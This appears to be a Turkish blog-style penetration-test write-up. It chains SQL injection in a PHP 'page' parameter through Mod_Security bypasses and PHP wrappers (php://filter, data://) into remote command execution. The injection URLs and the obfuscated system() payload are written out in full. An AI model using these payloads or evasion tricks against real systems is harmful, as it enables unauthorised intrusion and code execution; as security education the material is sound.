SQL injection to RCE

Birkaç gün önce bir müşteri için Penetrasyon Testi’nde deneyimlediğim bir durumu ortaya çıkaracağım. RCE (Uzaktan Komut Çalıştırma)'yı almak için birkaç faktörü nasıl bir araya getirmem gerektiğini düşündüm.

Bazı nedenlerden dolayı açık ve bazı müşteri verileri anonim hale getirilecektir.

Fuzzing ile bir dizin araması yaparak, içinde bir PHP dosyası ile bir klasör buldum:

https://customer.com/php/load.php

URL’yi test ettiğimde bir PHP uyarısı aldım:

Gördüğümüz gibi uygulama .php uzantılı boş bir dosya adı eklemeye çalışıyor. Aklıma gelen bir sonraki şey, “belki bir GET parametresindeki dosya adını kontrol edebilirim?” diye düşündüm.

Ve bu yüzden bazı parametreler için Brute Force (Kaba Kuvvet Saldırısı) yapmaya karar verdim.

Herhangi bir komut dosyasına tekrar gelmeden önce eski okul web sitesi modülleri için “sec (sn), section (bölüm), mod (mod), module (modül), file (dosya), page (sayfa), vb.” parametreleri test etmem gerektiğini düşündüm ve “page (sayfa)” parametresi farklı bir hata verdi.

MySQL uyarı mesajı:

Include işlevinin görebildiği gibi, boş bir dosya adıyla aynı noktada devam ediyor ancak bir MySQL hatası bulduğumuzu görebiliyoruz. Sonra ise uygulamanın gerekli dosya adını bir veri tabanından aldığını buradan denedim.

Genellikle SQL İnjection:

https://customer.com/php/load.php?page=’ or ‘’=’

Ve uyarı mesajı içeren bir mesaj aldım ancak bu sefer dosya adı boş değildi. “analytics.php” idi. İlk yol dizgisinin bir noktası vardı ve CSS (Basamaklı Stil Şablonu) tarzında bir şey yüklenmedi.

Not: (Şimdiki linkler pembe değil)

Eh, o zaman include() veritabanının yolunun bir kısmını alırım ve ardından bir union type SQL injection denemem gerekecek. Hem böylece yolu kontrol etmek için ve hem de bir Local File Inclusion (Yerel Dosya Ekleme)'yi denemek için gerekliydi.

Çalıştığım ilk enjeksiyonda 406 yanıtını aldım ve web sitesi Mod_Security Apache Modülünü etkinleştirdi. Ne yazık ki BUT’umu enjekte ettiğimi tespit etti ve bazılarının bildiği gibi, modası geçmiş bir Mod_Security sürümü injection dizesindeki MySQL yorumlarıyla atlanabilir. Denedim ve çalıştı.

9 sütunlu bir sorgu ile:

https://customer.com/php/load.php?page=’ /*!50000union*/ select 1,2,3,4,5,6,7,8,9-- -

Web uygulaması boyunca bir yükleme formu, bir dize veya PHP kodlu herhangi bir dosya uzantısı başka hiçbir yerde bulamadım. Eğer bulabilseydim bir şeyler yüklemeye izin verirdi ve Local File Inclusion (Yerel Dosya Ekleme) açığından yararlanmak için dahil edebilirdim ancak önceki resimde görebileceğiniz gibi, yolun başlangıcını değiştirebileceğimi ve perspektif açıdan baktığımda harika olduğunu gözlemledim. Çünkü bazı PHP Sarmalayıcıları’nı kullanabileceğimi biliyorum.

İlk önce index.php dosyasını okumak için: "php: //filter/convert.base64-encode/resource="
PHP Sarmalayıcısı’nı kullandım:

https://customer.com/php/load.php?page=’ /*!50000union*/ select 1,2,3,4,5,’../index’,7,8,’php://filter/convert.base64-encode/resource=.’ -- -

Ve işte, index.php değerinin base64 kodlu dizgisini aldık.

Evet, bu noktada tek istediğim bir RCE (Uzaktan Komut Çalıştırma) almaktı. Bu yüzden ilk önce input:// wrapper dedim ancak uygulama girdiyi yolun geri kalanıyla bir araya getirdiği için ve güçlü Mod_Security modülü kullandığı için işe yaramadı. Ayriyeten Null Byte %00 kullanmak mümkün değildi.

Sonra ise bazı PHP kodu göndermek için data:// wrapper ile denemeye karar verdim:

https://customer.com/php/load.php?page=' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<?php echo system(“uname -a”);?>’-- -

Ve bir kez daha beni engelleyen bir Mod_Security 406 cevabı aldım. Bunun sebebini düşündüğümde problemin sistemde (“string”) olduğunu düşünüyorum ve bazı PHP satırlarını pişirmek için geri döndüm:

<?php
$a=”sy”;
$b=”stem”;
$c=$a.$b;
$c(“uname -a”);
?>

Sonunda payload (yük):

https://customer.com/php/load.php?page=' /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<?php $a=”sy”;$b=”stem”;$c=$a.$b; $c(“uname -a”);?>’ -- -

Komutumuzun cevabı:

Nihayet RCE (Uzaktan Komut Çalıştırma) !!! ^ _ ^

Kaynak: SQL injection to RCE

12 Beğeni